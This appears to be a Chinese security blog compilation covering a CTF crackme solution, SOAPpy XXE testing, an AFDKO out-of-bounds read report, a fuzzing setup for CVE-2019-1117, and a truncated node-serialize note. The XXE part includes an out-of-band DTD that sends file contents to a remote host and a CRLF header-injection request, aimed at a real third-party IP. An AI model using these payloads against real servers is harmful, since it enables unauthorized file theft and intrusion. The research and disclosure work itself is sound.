004132B9      JMP SHORT ctf2017_.004132AD
004132AD      MOV EDX,EAX
004132AF      JE SHORT ctf2017_.004132C9
004132C9      JL SHORT ctf2017_.004132F1
004132CB      JGE SHORT ctf2017_.004132E9
004132E9      JGE SHORT ctf2017_.004132D6
004132D6      JGE SHORT ctf2017_.004132DB
004132DB      JGE SHORT ctf2017_.004132D1
004132D1      JGE SHORT ctf2017_.004132EB
004132EB      JGE SHORT ctf2017_.004132E2
004132E2      MOV EAX,ECX
004132E4      JO SHORT ctf2017_.004132D3
004132E6      JNO SHORT ctf2017_.004132FA
004132FA      JS SHORT ctf2017_.00413326
004132FC      JNS SHORT ctf2017_.0041331E
0041331E      JNS SHORT ctf2017_.00413307
00413307      JNS SHORT ctf2017_.0041330F
0041330F      JNS SHORT ctf2017_.00413302
00413302      JNS SHORT ctf2017_.00413320
00413320      JNS SHORT ctf2017_.00413316
00413316      SUB EAX,EBX
00413318      JE SHORT ctf2017_.00413304
0041331A      JNZ SHORT ctf2017_.0041332E
0041332E      JO SHORT ctf2017_.0041335B
00413330      JNO SHORT ctf2017_.00413354
00413354      JNO SHORT ctf2017_.0041333B
0041333B      JNO SHORT ctf2017_.00413342
00413342      JNO SHORT ctf2017_.00413336
00413336      JNO SHORT ctf2017_.00413356
00413356      JNO SHORT ctf2017_.00413349
00413349      SHL EAX,2
0041334C      JO SHORT ctf2017_.00413338
0041334E      JNO SHORT ctf2017_.00413364
00413364      JO SHORT ctf2017_.00413391
00413366      JNO SHORT ctf2017_.0041338A
0041338A      JNO SHORT ctf2017_.00413372
00413372      JNO SHORT ctf2017_.00413379
00413379      JNO SHORT ctf2017_.0041336C
0041336C      JNO SHORT ctf2017_.0041338C
0041338C      JNO SHORT ctf2017_.00413380
00413380      ADD EAX,ECX
00413382      JS SHORT ctf2017_.0041336E
00413384      JNS SHORT ctf2017_.00413399
00413399      JO SHORT ctf2017_.004133C5
0041339B      JNO SHORT ctf2017_.004133BD
004133BD      JNO SHORT ctf2017_.004133A6
004133A6      JNO SHORT ctf2017_.004133AE
004133AE      JNO SHORT ctf2017_.004133A1
004133A1      JNO SHORT ctf2017_.004133BF
004133BF      JNO SHORT ctf2017_.004133B5
004133B5      ADD EAX,EDX
004133B7      JE SHORT ctf2017_.004133A3
004133B9      JNZ SHORT ctf2017_.004133CD
004133CD      JS SHORT ctf2017_.004133FC
004133FC      JS SHORT ctf2017_.004133E6
004133E6      JS SHORT ctf2017_.00413402
00413402      JS SHORT ctf2017_.004133DF
004133DF      JS SHORT ctf2017_.004133E9
004133E9      SUB EAX,EAF917E2
004133EE      JE SHORT ctf2017_.004133D7
004133D7      JE SHORT ctf2017_.00413405
00413405      JS SHORT ctf2017_.00413433
00413433      JS SHORT ctf2017_.0041341D
0041341D      JS SHORT ctf2017_.00413439
00413439      JS SHORT ctf2017_.00413416
00413416      JS SHORT ctf2017_.00413420
00413420      JNZ ctf2017_.00413B03
00413426      JO SHORT ctf2017_.0041340F
00413428      JNO SHORT ctf2017_.0041343C
0041343C      JL SHORT ctf2017_.00413466
00413466      JL SHORT ctf2017_.00413452
00413452      JL SHORT ctf2017_.0041346C
0041346C      JL SHORT ctf2017_.0041344B
0041344B      JL SHORT ctf2017_.00413455
00413455      ADD EAX,ECX
00413457      JS SHORT ctf2017_.00413446
00413446      JS SHORT ctf2017_.0041346F
0041346F      JBE SHORT ctf2017_.00413492
00413471      JA SHORT ctf2017_.0041349B
0041349B      JA SHORT ctf2017_.0041347E
0041347E      JA SHORT ctf2017_.00413486
00413486      JA SHORT ctf2017_.00413497
00413497      JA SHORT ctf2017_.00413494
00413494      JA SHORT ctf2017_.00413489
00413489      SUB EAX,EBX
0041348B      JL SHORT ctf2017_.00413477
00413477      JL SHORT ctf2017_.004134A4
004134A4      JS SHORT ctf2017_.004134CF
004134CF      JS SHORT ctf2017_.004134BC
004134BC      JS SHORT ctf2017_.004134D5
004134D5      JS SHORT ctf2017_.004134B5
004134B5      JS SHORT ctf2017_.004134BF
004134BF      MOV EBX,EAX
004134C1      JO SHORT ctf2017_.004134AE
004134C3      JNO SHORT ctf2017_.004134D8
004134D8      JO SHORT ctf2017_.00413502
004134DA      JNO SHORT ctf2017_.004134FA
004134FA      JNO SHORT ctf2017_.004134E5
004134E5      JNO SHORT ctf2017_.004134EC
004134EC      JNO SHORT ctf2017_.004134E0
004134E0      JNO SHORT ctf2017_.004134FC
004134FC      JNO SHORT ctf2017_.004134F3
004134F3      SHL EAX,1
004134F5      JO SHORT ctf2017_.004134E2
004134E2      JO SHORT ctf2017_.0041350A
0041350A      JS SHORT ctf2017_.00413534
0041350C      JNS SHORT ctf2017_.0041352C
0041352C      JNS SHORT ctf2017_.00413517
00413517      JNS SHORT ctf2017_.0041351E
0041351E      JNS SHORT ctf2017_.00413512
00413512      JNS SHORT ctf2017_.0041352E
0041352E      JNS SHORT ctf2017_.00413525
00413525      ADD EAX,EBX
00413527      JO SHORT ctf2017_.00413514
00413529      JNO SHORT ctf2017_.0041353D
0041353D      JLE SHORT ctf2017_.00413561
00413561      JLE SHORT ctf2017_.00413552
00413552      JLE SHORT ctf2017_.00413570
00413570      JLE SHORT ctf2017_.00413549
00413549      JLE SHORT ctf2017_.00413559
00413559      ADD EAX,ECX
0041355B      JS SHORT ctf2017_.00413546
0041355D      JNS SHORT ctf2017_.00413573
00413573      JS SHORT ctf2017_.0041359F
00413575      JNS SHORT ctf2017_.00413598
00413598      JNS SHORT ctf2017_.00413580
00413580      JNS SHORT ctf2017_.00413588
00413588      JNS SHORT ctf2017_.0041357B
0041357B      JNS SHORT ctf2017_.0041359A
0041359A      JNS SHORT ctf2017_.0041358F
0041358F      MOV ECX,EAX
00413591      JE SHORT ctf2017_.0041357D
00413593      JNZ SHORT ctf2017_.004135A8
004135A8      JS SHORT ctf2017_.004135D3
004135AA      JNS SHORT ctf2017_.004135CB
004135CB      JNS SHORT ctf2017_.004135B5
004135B5      JNS SHORT ctf2017_.004135BC
004135BC      JNS SHORT ctf2017_.004135B0
004135B0      JNS SHORT ctf2017_.004135CD
004135CD      JNS SHORT ctf2017_.004135C3
004135C3      ADD EAX,EDX
004135C5      JS SHORT ctf2017_.004135B2
004135C7      JNS SHORT ctf2017_.004135DC
004135DC      JLE SHORT ctf2017_.00413602
004135DE      JG SHORT ctf2017_.0041360B
0041360B      JG SHORT ctf2017_.004135EB
004135EB      JG SHORT ctf2017_.004135F3
004135F3      JG SHORT ctf2017_.00413607
00413607      JG SHORT ctf2017_.00413604
00413604      JG SHORT ctf2017_.004135F7
004135F7      SUB EAX,E8F508C8
004135FC      JL SHORT ctf2017_.004135E5
004135FE      JGE SHORT ctf2017_.00413613
00413613      JO SHORT ctf2017_.00413643
00413643      JO SHORT ctf2017_.0041362B
0041362B      JO SHORT ctf2017_.00413648
00413648      JO SHORT ctf2017_.00413624
00413624      JO SHORT ctf2017_.0041362E
0041362E      JNZ ctf2017_.00413B03
00413634      JS SHORT ctf2017_.0041361D
0041361D      JS SHORT ctf2017_.0041364B
0041364B      JMP SHORT ctf2017_.00413688
00413688      JMP SHORT ctf2017_.00413665
00413665      MOV EAX,ECX
00413667      JNZ SHORT ctf2017_.0041364F
00413669      JMP SHORT ctf2017_.0041365D
0041365D      MOV EAX,ECX
0041365F      JE SHORT ctf2017_.0041368B
0041368B      JO SHORT ctf2017_.004136B6
004136B6      JO SHORT ctf2017_.004136A4
004136A4      JO SHORT ctf2017_.004136BC
004136BC      JO SHORT ctf2017_.0041369D
0041369D      JO SHORT ctf2017_.004136A7
004136A7      SUB EAX,EDX
004136A9      JE SHORT ctf2017_.00413695
004136AB      JNZ SHORT ctf2017_.004136BF
004136BF      JLE SHORT ctf2017_.004136E4
004136E4      JLE SHORT ctf2017_.004136D1
004136D1      JLE SHORT ctf2017_.004136F2
004136F2      JLE SHORT ctf2017_.004136CA
004136CA      JLE SHORT ctf2017_.004136D8
004136D8      SUB EAX,0C0A3C68
004136DD      JE SHORT ctf2017_.004136C7
004136DF      JNZ SHORT ctf2017_.004136F5
004136F5      JE SHORT ctf2017_.00413724
004136F7      JNZ SHORT ctf2017_.0041371C
0041371C      JNZ SHORT ctf2017_.00413703
00413703      JNZ SHORT ctf2017_.00413709
00413709      JNZ SHORT ctf2017_.004136FD
004136FD      JNZ SHORT ctf2017_.0041371E
0041371E      JNZ SHORT ctf2017_.00413710
00413710      JNZ ctf2017_.00413B03
00413B03      JS SHORT ctf2017_.00413B2C
00413B2C      JS SHORT ctf2017_.00413B1B
00413B1B      JS SHORT ctf2017_.00413B31
00413B31      JS SHORT ctf2017_.00413B14
00413B14      JS SHORT ctf2017_.00413B1E
00413B1E      POP EAX
00413B1F      JE SHORT ctf2017_.00413B0C
00413B21      JNZ SHORT ctf2017_.00413B34
00413B34      JE SHORT ctf2017_.00413B61
00413B36      JNZ SHORT ctf2017_.00413B59
00413B59      JNZ SHORT ctf2017_.00413B41
00413B41      JNZ SHORT ctf2017_.00413B47
00413B47      JNZ SHORT ctf2017_.00413B3C
00413B3C      JNZ SHORT ctf2017_.00413B5B
00413B5B      JNZ SHORT ctf2017_.00413B4E
00413B4E      XOR EAX,1210E
00413B53      JL SHORT ctf2017_.00413B3E
00413B55      JGE SHORT ctf2017_.00413B6A
00413B6A      JL SHORT ctf2017_.00413B98
00413B6C      JGE SHORT ctf2017_.00413B91
00413B91      JGE SHORT ctf2017_.00413B77
00413B77      JGE SHORT ctf2017_.00413B7C
00413B7C      JGE SHORT ctf2017_.00413B72
00413B72      JGE SHORT ctf2017_.00413B93
00413B93      JGE SHORT ctf2017_.00413B83
00413B83      XOR EAX,DWORD PTR DS:[41B034]
00413B89      JO SHORT ctf2017_.00413B74
00413B8B      JNO SHORT ctf2017_.00413BA0
00413BA0      JBE SHORT ctf2017_.00413BC4
00413BA2      JA SHORT ctf2017_.00413BCD
00413BCD      JA SHORT ctf2017_.00413BAF
00413BAF      JA SHORT ctf2017_.00413BB8
00413BB8      JA SHORT ctf2017_.00413BC9
00413BC9      JA SHORT ctf2017_.00413BC6
00413BC6      JA SHORT ctf2017_.00413BBB
00413BBB      JMP EAX
0040103F      PUSH ctf2017_.0041B038
00401044      CALL ctf2017_.00413D42
00401049      ADD ESP,4
0040104C      XOR EAX,EAX
0040104E      RETN
00413E3E      ADD ESP,0C
00413E41      MOV DWORD PTR SS:[EBP-1C],EAX
00413E44      PUSH EAX
00413E45      CALL ctf2017_.0041537A

这个代码看起来要简洁的多了,而且是从上到下的逻辑顺序,整理出的等式:

(x-y)*4 + x + z = EAF917E2
(x-y)*3 + x + z = E8F508C8
(x-y)*3 + x - z = 0C0A3C68

利用sympy解题:

from sympy import *
from binascii import *

def answer():
    x = Symbol('x')
    y = Symbol('y')
    z = Symbol('z')

    an = solve([5*x-4*y+z-int('0xeaf917e2', 16),
        4*x-3*y+z-int('0xe8f508c8', 16),
        4*x-3*y-z-int('0xc0a3c68', 16)], [x, y, z])

    print an[x]
    a = unhexlify(format(int(an[x]), 'x'))[::-1]
    a += unhexlify(format(int(an[y]), 'x'))[::-1]
    a += unhexlify(format(int(an[z]), 'x'))[::-1]
    a +=  '11A'
    print a

if __name__ == '__main__':
    answer()

结果:Just0for0fun11A

sopypy xxe问题思考

来源

在研究xxe漏洞时,发现乌云镜像上的一个来源于CVE-2014-3242

SOAPpy <= 0.12.5时存在XXE漏洞,上zoomeye随便搜索一下:

测试123.126.42.100

确实存在XXE,再来测试读取文件,使用这里的方法

可以看出并不能实现显示文件,因为不知道显示的函数到底是什么。

php xxe 测试

在测试这个XXE的过程中,使用了vulhub的php_xxe进行了php相关xxe的测试,在这里做一些扩展:
很多造成xxe的库,在发送请求会检查一遍请求的url是否合法,如果不合法的话,会发生错误

要是没有任何正常显示,但是能够整出错误提示的话,也算是可以读取文件的。为了解决这个问题,要是php的话,php支持filter等伪协议可以将读取到的文件转换格式,比如base64编码,之后请求

其中evil.dtd文件内容

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://[remote-ip]:8000/?x=%file;'>"
>
%all;

别的语言如何实现这个功能,我还不知道。

延伸

细看一下请求的urllib的版本,查看是python urllib/1.6,查询一下发现urllib存在http头注入,具体可以看这里

POST / HTTP/1.1
Host: 123.126.42.100:8089
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 175

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
  <!ENTITY % dtd SYSTEM "http://45.32.138.6%0d%0aX-injected:%20header:12345/foo">
%dtd;
]>

测试结果

发现同样存在http头注入,但是因为对于请求是否成功,没有办法知道,所以有洞也没法做太多东西。

做进一步延伸,到底soappy为什么会产生这个漏洞,查看SOAPpy源码发现其是使用xml.sax这种方式来解析xml的

查找xml.sax这种解析xml方式发现

原来是因为soappy使用了该种解析xml的方式导致了xxe

heap-based out-of-bounds read when parsing otf file with undefined glyph name in svg option(AFDKO)

heap-based out-of-bounds read when parsing otf file with undefined glyph name in svg option(AFDKO)

前段时间fuzz出来的,提给adobe的issue,目前已经被修复了,其中指针追踪挺有意思的

0x1 Segment Fault

Please excuse my poor English. I'm not a native speaker. I will do my best to describe this issue.

In lates commit ad786a1bfbaa11a2e14dca3cdd95a66da8f824fc

use clang compile with debug option

compile tx in c/tx/build/linux/gcc/debug/

make clean && CC=clang make

then use tx to parse a specific otf file

tx -svg poc.otf

tx segment fault

tx: --- poc.otf
tx: (cfr) invalid fvar table version
tx: (cfr) invalid/missing hhea table
tx: (cfr) name table missing
tx: (cfr) axis count in variation font region list does not match axis count in fvar table
tx: (cfr) Warning: CharString of GID 2 is 68301 bytes long. CharStrings longer than 65535 bytes might not be supported by some implementations.
Segmentation fault (core dumped)

0x2 Dynamic Analysis

I use pwndbg to debug

#0  __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1  0x0000000000476360 in matchName ()
#2  0x00007ffff773b207 in __GI_bsearch (__key=0x0, __base=0x4ca870 <mapName2UV.agl>, __nmemb=<optimized out>, __size=16, __compar=0x476340 <matchName>) at ../bits/stdlib-bsearch.h:33
#3  0x0000000000475aa7 in mapName2UV ()
#4  0x0000000000478c60 in svg_GlyphBeg ()
#5  0x000000000046f43b in otfGlyphBeg ()
#6  0x0000000000413468 in readGlyph (h=0x6f8f30, gid=0, glyph_cb=0x6f3690) at ../../../../../source/cffread/cffread.c:2877
#7  0x0000000000413395 in cfrIterateGlyphs (h=0x6f8f30, glyph_cb=0x6f3690) at ../../../../../source/cffread/cffread.c:2930
#8  0x0000000000405b91 in cfrReadFont (h=0x6ec010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#9  0x00000000004058bf in doFile (h=0x6ec010, srcname=0x7fffffffe6dc "poc.otf") at ../../../../source/tx.c:429
#10 0x0000000000404f3e in doSingleFileSet (h=0x6ec010, srcname=0x7fffffffe6dc "poc.otf") at ../../../../source/tx.c:488
#11 0x0000000000402d89 in parseArgs (h=0x6ec010, argc=2, argv=0x7fffffffe400) at ../../../../source/tx.c:558
#12 0x0000000000401c27 in main (argc=2, argv=0x7fffffffe400) at ../../../../source/tx.c:1587
#13 0x00007ffff7724830 in __libc_start_main (main=0x401a60 <main>, argc=3, argv=0x7fffffffe3f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe3e8) at ../csu/libc-start.c:291
#14 0x0000000000401989 in _start ()

then I do some analysis, I found when tx parse the specific otf file with no glyph name, tx will occur segment fault.

debug the issue, set breakpoint in cffread.c:2877

hit the breakpoint

In file: /root/tmp/afdko/c/public/lib/source/cffread/cffread.c
   2872     abfGlyphInfo *info = &h->glyphs.array[gid];
   2873     t2cAuxData *aux = &h->FDArray.array[info->iFD].aux;
   2874     cff2GlyphCallbacks *cff2_cb = NULL;
   2875 
   2876     /* Begin glyph and mark it as seen */
 ► 2877     result = glyph_cb->beg(glyph_cb, info);  <====
   2878     info->flags |= ABF_GLYPH_SEEN;
   2879     info->blendInfo.vsindex = aux->default_vsIndex;
   2880 
   2881     /* Check result */
   2882     switch (result) {
─────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffddd0 ◂— 0x4
01:0008│      0x7fffffffddd8 —▸ 0x46ba90 (mem_manage) ◂— push   rbp
02:0010│      0x7fffffffdde0 ◂— 0x0
03:0018│      0x7fffffffdde8 —▸ 0x7ffff777c77b (_IO_file_seekoff+699) ◂— cmp    r12, rax
04:0020│      0x7fffffffddf0 ◂— 0x2
05:0028│      0x7fffffffddf8 ◂— 0x0
... ↓
07:0038│      0x7fffffffde08 —▸ 0x6fe178 ◂— 0x4
───────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           41344f readGlyph+111
   f 1           413395 cfrIterateGlyphs+117
   f 2           405b91 cfrReadFont+561
   f 3           4058bf doFile+879
   f 4           404f3e doSingleFileSet+46
   f 5           402d89 parseArgs+425
   f 6           401c27 main+455
   f 7     7ffff7724830 __libc_start_main+240
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint cffread.c:2877

call a function pointer glyph_cb->beg, step into, enter otfGlyphBeg

in otfGlyphBeg+121, it call another function pointer

 0x46f404 <otfGlyphBeg+68>     je     otfGlyphBeg+102 <0x46f426>
    ↓
   0x46f426 <otfGlyphBeg+102>    mov    rax, qword ptr [rbp - 0x18]
   0x46f42a <otfGlyphBeg+106>    mov    rax, qword ptr [rax + 0x7708]
   0x46f431 <otfGlyphBeg+113>    mov    rdi, qword ptr [rbp - 8]
   0x46f435 <otfGlyphBeg+117>    mov    rsi, qword ptr [rbp - 0x10]
 ► 0x46f439 <otfGlyphBeg+121>    call   rax <0x478bb0>
        rdi: 0x6f3690 —▸ 0x6f37f0 ◂— 0x0
        rsi: 0x70b2d0 ◂— 0x0
 
   0x46f43b <otfGlyphBeg+123>    add    rsp, 0x20
   0x46f43f <otfGlyphBeg+127>    pop    rbp
   0x46f440 <otfGlyphBeg+128>    ret    
 
   0x46f441                      nop    word ptr cs:[rax + rax]
   0x46f450 <bufSeek>            push   rbp

step into, in svg_GlyphBeg+171 , it call another function pointer

0x478c46 <svg_GlyphBeg+150>    mov    rsi, qword ptr [rax + 8]
   0x478c4a <svg_GlyphBeg+154>    mov    rax, qword ptr [rbp - 0x18]
   0x478c4e <svg_GlyphBeg+158>    add    rax, 0x6b78
   0x478c54 <svg_GlyphBeg+164>    add    rax, 0x10
   0x478c58 <svg_GlyphBeg+168>    mov    rdx, rax
 ► 0x478c5b <svg_GlyphBeg+171>    call   mapName2UV <0x475a60>
        rdi: 0x6ec010 —▸ 0x7fffffffe6d4 ◂— 0x6776732d007874 /* 'tx' */
        rsi: 0x0
        rdx: 0x6f2b98 ◂— 0xe000
        rcx: 0xffff0004
 
   0x478c60 <svg_GlyphBeg+176>    movzx  ecx, ax
   0x478c63 <svg_GlyphBeg+179>    mov    edx, ecx
   0x478c65 <svg_GlyphBeg+181>    mov    rsi, qword ptr [rbp - 0x10]
   0x478c69 <svg_GlyphBeg+185>    mov    qword ptr [rsi + 0x20], rdx
   0x478c6d <svg_GlyphBeg+189>    mov    rax, qword ptr [svwGlyphCallbacks+24] <0x4be940>

step into, in mapName2UV+66 , it calls a function named bsearch

   0x475a91 <mapName2UV+49>    mov    qword ptr [rbp - 0x20], rdx
   0x475a95 <mapName2UV+53>    mov    rdi, qword ptr [rbp - 0x18]
   0x475a99 <mapName2UV+57>    mov    rsi, rax
   0x475a9c <mapName2UV+60>    mov    rdx, r8
   0x475a9f <mapName2UV+63>    mov    r8, r9
 ► 0x475aa2 <mapName2UV+66>    call   bsearch@plt <0x4018e0>
        key: 0x0
        base: 0x4ca870 (mapName2UV.agl) —▸ 0x4b1ab9 ◂— add    byte ptr [rip + 0x462d0045], bpl /* 'A' */
        nmemb: 0x41b
        size: 0x10
        compar: 0x476340 (matchName) ◂— push   rbp
 
   0x475aa7 <mapName2UV+71>    mov    qword ptr [rbp - 0x28], rax
   0x475aab <mapName2UV+75>    cmp    qword ptr [rbp - 0x28], 0
   0x475ab0 <mapName2UV+80>    je     mapName2UV+103 <0x475ac7>
 
   0x475ab6 <mapName2UV+86>    mov    rax, qword ptr [rbp - 0x28]
   0x475aba <mapName2UV+90>    mov    cx, word ptr [rax + 8]

key is const char* type, in bsearch, it will access the data of key. But key is 0x0, so it will segment fault.

0x3 Source Code Analysis

After analyzing source code, the issue call order

readGlyph/cffread.c:2877
  |=> glyph_cb->beg =point=> otfGlyphBeg(tx_shared.c:4773)
        |=> h->cb.saveGlyphBeg =point=> svg_GlyphBeg(tx_shared.c:2637)
              |=> mapName2UV (tx_shared.c:1518)
                    |=> bsearch => Segment Fault

function mapName2UV

/* Map glyph name to Unicode value using simplified assignment algorithm. */
static unsigned short mapName2UV(txCtx h, char *gname, unsigned short *unrec) {
    static const Name2UV agl[] =
        {
#include "agl2uv.h"
        };
    Name2UV *map = (Name2UV *)bsearch(gname, agl, ARRAY_LEN(agl),
                                      sizeof(Name2UV), matchName);
    if (map != NULL)
        return map->uv; /* Match found */

    /* Not found */
    if (strcmp(gname, ".notdef") == 0)
        return 0xFFFF; /* No encoding for .notdef */

    if (gname[0] == 'u' &&
        gname[1] == 'n' &&
        gname[2] == 'i' &&
        isxdigit(gname[3]) && !islower(gname[3]) &&
        isxdigit(gname[4]) && !islower(gname[4]) &&
        isxdigit(gname[5]) && !islower(gname[5]) &&
        isxdigit(gname[6]) && !islower(gname[6]) &&
        gname[7] == '\0')
        /* uni<CODE> name; return hex part */
        return (unsigned short)strtol(&gname[3], NULL, 16);

    /* return Private Use Area UV */
    return (*unrec)++;
}

bsearch first parameter key is gname

function bsearch

_extern_inline void *
bsearch (const void *__key, const void *__base, size_t __nmemb, size_t __size,
	 __compar_fn_t __compar)
{
  size_t __l, __u, __idx;
  const void *__p;
  int __comparison;

  __l = 0;
  __u = __nmemb;
  while (__l < __u)
    {
      __idx = (__l + __u) / 2;
      __p = (void *) (((const char *) __base) + (__idx * __size));
      __comparison = (*__compar) (__key, __p); // do not check __key, then crash
      if (__comparison < 0)
	__u = __idx;
      else if (__comparison > 0)
	__l = __idx + 1;
      else
	return (void *) __p;
    }

  return NULL;
}

gname is in structure abfGlyphInfo, the structure defines inabsfont.h

typedef struct /* Glyph information */
{
    short flags;                      /* Attribute flags */
#define ABF_GLYPH_CID        (1 << 0) /* Glyph from CID-keyed font */
#define ABF_GLYPH_SEEN       (1 << 1) /* Path data already returned to client */
#define ABF_GLYPH_UNICODE    (1 << 2) /* Encoding is Unicode */
#define ABF_GLYPH_LANG_1     (1 << 3) /* Render with LanguageGroup 1 rules */
    unsigned short tag;               /* Unique tag */
    abfString gname;                  /* Name-keyed: glyph name */    <======
    abfEncoding encoding;             /* Name-keyed: encoding list */
    unsigned short cid;               /* CID-keyed: CID */
    uint16_t iFD;                     /* CID-keyed: FD index */
    ctlRegion sup;                    /* Supplementary data */
    struct {
        unsigned short vsindex;
        unsigned short maxstack;
        unsigned short numRegions;
        float *blendDeltaArgs;
    } blendInfo; /* Supplementary data */
} abfGlyphInfo;

The gname come from otf font file, and all data is in heap. If someone use a specific otf file, it may cause some security issues with out of bound read.

If necessary, I can send you a proof of concept for this issue.

fuzz CVE-2019-1117

fuzz CVE-2019-1117

这篇来分析一下CVE-2019-1117,问题为stack corruption in OpenType font handling due to out-of-bounds cubeStackDepth

漏洞复现

搭建环境,简单复现一下

git clone https://github.com/adobe-type-tools/afdko
cd afdko
git checkout 2.8.8
cd c
bash buildalllinux.sh debug

根据给出的poc测试

1563456773112

确实是崩了,OOB

pwndbg> p h->cubeStackDepth
$1 = 69
pwndbg> p  h->cube[h->cubeStackDepth]
Cannot access memory at address 0x800000000160

再来查看一下调用栈

1563457266808

记住这里出问题的函数,对fuzz很有用

具体为什么,先不考虑,主要是我们写fuzz代码,看看能不能找到这个crash

编写fuzz代码

首先可以发现,是tx在处理otf文件发生的错误,直接看tx.c源码,整体代码特别长,直接看main函数

/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
    txCtx h;
    char *progname;
#if PLAT_MAC
    argc = ccommand(&argv);
    (void)__reopen(stdin); /* Change stdin to binary mode */
#endif                     /* PLAT_MAC */

#if PLAT_WIN
    /* The Microsoft standard C-Library opens stderr in buffered mode in
       contravention of the C standard. The following code establishes the
       correct unbuffered mode */
    (void)setvbuf(stderr, NULL, _IONBF, 0);
#endif /* PLAT_WIN */

    /* Get program name */
    progname = tail(argv[0]);
    --argc;
    ++argv;

    /* Allocate program context */
    h = malloc(sizeof(struct txCtx_));
    if (h == NULL) {
        fprintf(stderr, "%s: out of memory\n", progname);
        return EXIT_FAILURE;
    }
    memset(h, 0, sizeof(struct txCtx_));

    h->app = APP_TX;
    h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
    h->appSpecificFree = txFree;

    txNew(h, progname);

    if (argc > 1 && getOptionIndex(argv[argc - 2]) == opt_s) {
        /* Option list ends with script option */
        int i;

        /* Copy args preceeding -s */
        for (i = 0; i < argc - 2; i++)
            *dnaNEXT(h->script.args) = argv[i];

        /* Add args from script file */
        addArgs(h, argv[argc - 1]);

        parseArgs(h, (int)h->script.args.cnt, h->script.args.array);
    } else
        parseArgs(h, argc, argv);

    if (h->failmem.iFail == FAIL_REPORT) {
        fflush(stdout);
        fprintf(stderr, "mem_manage() called %ld times in this run.\n",
                h->failmem.iCall);
    }
    txFree(h);

    return 0;
}

看到这个代码其实就很开心了,这种可以直接fuzz了,基本都不用改啥了。

但是为了提高我们的fuzz效率,并且重现1117的这个漏洞,更改一下代码,让我们的代码只分析otf文件

/* Main program. */
int CTL_CDECL main(int argc, char *argv[]) {
    txCtx h;
    char *progname;

    /* Get program name */
    progname = tail(argv[0]);
    --argc;
    ++argv;

    /* Allocate program context */
    h = malloc(sizeof(struct txCtx_));
    if (h == NULL) {
        fprintf(stderr, "%s: out of memory\n", progname);
        return EXIT_FAILURE;
    }
    memset(h, 0, sizeof(struct txCtx_));

    h->app = APP_TX;
    h->appSpecificInfo = NULL; /* unused in tx.c, used in rotateFont.c & mergeFonts.c */
    h->appSpecificFree = txFree;

    txNew(h, progname);

    h->t1r.flags = 0; /* I initialize these here,as I need to set the std Encoding flags before calling setMode. */
    h->cfr.flags = 0;
    h->cfw.flags = 0;
    h->dcf.flags = DCF_AllTables | DCF_BreakFlowed;
    h->dcf.level = 5;
    h->svr.flags = 0;
    h->ufr.flags = 0;
    h->ufow.flags = 0;
    h->t1w.options = 0;

    // 设置cff模式
    setMode(h, mode_cff);

    // argv[1] 文件名,对应上面argv--
    doSingleFileSet(h, argv[0]);

    if (h->failmem.iFail == FAIL_REPORT) {
        fflush(stdout);
        fprintf(stderr, "mem_manage() called %ld times in this run.\n",
                h->failmem.iCall);
    }
    txFree(h);

    return 0;
}

建立一个patch文件,方便以后直接patch

diff ./afdko/c/tx/source/tx.c target.cc > target.patch

之后具体的操作build.sh

#!/bin/bash

# clean up
if [ -e ./tx_fuzzer ]; then
    rm -f ./tx_fuzzer
fi

# install requirements
apt install -y git make clang

install afl
if [ -d ./afl/ ]; then
    git clone https://github.com/mirrorer/afl && cd afl && make && make install && cd ..
fi

# install honggfuzz
if [ ! -e /usr/local/bin/hfuzz-cc ]; then 
    git clone https://github.com/google/honggfuzz
    cd honggfuzz && apt install gcc git make pkg-config libipt-dev libunwind8-dev binutils-dev && \
        make install && cd ..
fi

# create output_corps directory
if [ ! -d ./output_corpus/ ]; then
    mkdir ./output_corpus
fi

# afdko exists or not
if [ ! -d ./afdko/c/ ]; then
    git clone https://github.com/adobe-type-tools/afdko && cd afdko && git checkout 2.8.8 && cd ..
fi


# patch files
if [ -e ./target.patch ]; then
    patch afdko/c/tx/source/tx.c target.patch
fi

# make tx file
if [ -d ./afdko/c/tx/build/linux/gcc/debug ]; then
    cd ./afdko/c/tx/build/linux/gcc/debug && CC=hfuzz-clang make 
    cd ../../../../../../../
    cp ./afdko/c/tx/exe/linux/debug/tx ./tx_fuzzer
fi


if [ -e ./tx_fuzzer ]; then
    echo "[+] build tx_fuzzer success!"
else
    echo "[-] build tx_fuzzer failed!"
fi

如果利用honggfuzz

honggfuzz -f input_corps -W output_corpus -- ./tx_fuzzer ___FILE___

如果是afl

screen -S txfuzz1 afl-fuzz -i input_corps/ -o output_corps/ -M tx_fuzz1 -- ./tx_fuzzer @@
screen -S txfuzz2 afl-fuzz -i input_corps/ -o output_corps/ -S tx_fuzz2 -- ./tx_fuzzer @@

最后来看一下效果

honggfuzz效果

1563457952168

afl效果

1563458019611

目前使用个人办公机器的一半cpu来跑afl,自己的单核小机场来跑honggfuzz,就目前来看都出了很多的crashes,等跑一段时间再来看看哪个效果比较好吧,没准能够发现PJ0没有提交的洞:)

参考

Microsoft DirectWrite / AFDKOstack corruption in OpenType font handling due to out-of-bounds cubeStackDepth

node-serialize 反序列化(CVE-2017-5941)

node-serialize 反序列化(CVE-2017-5941

漏洞本地复现

首先看这个node-serialize库,其中实现反序列化的代码

unserialize = function(obj, originObj) {
    var isIndex;
    if (typeof obj === 'string') {
      obj = JSON.parse(obj);
      isIndex = true;
    }
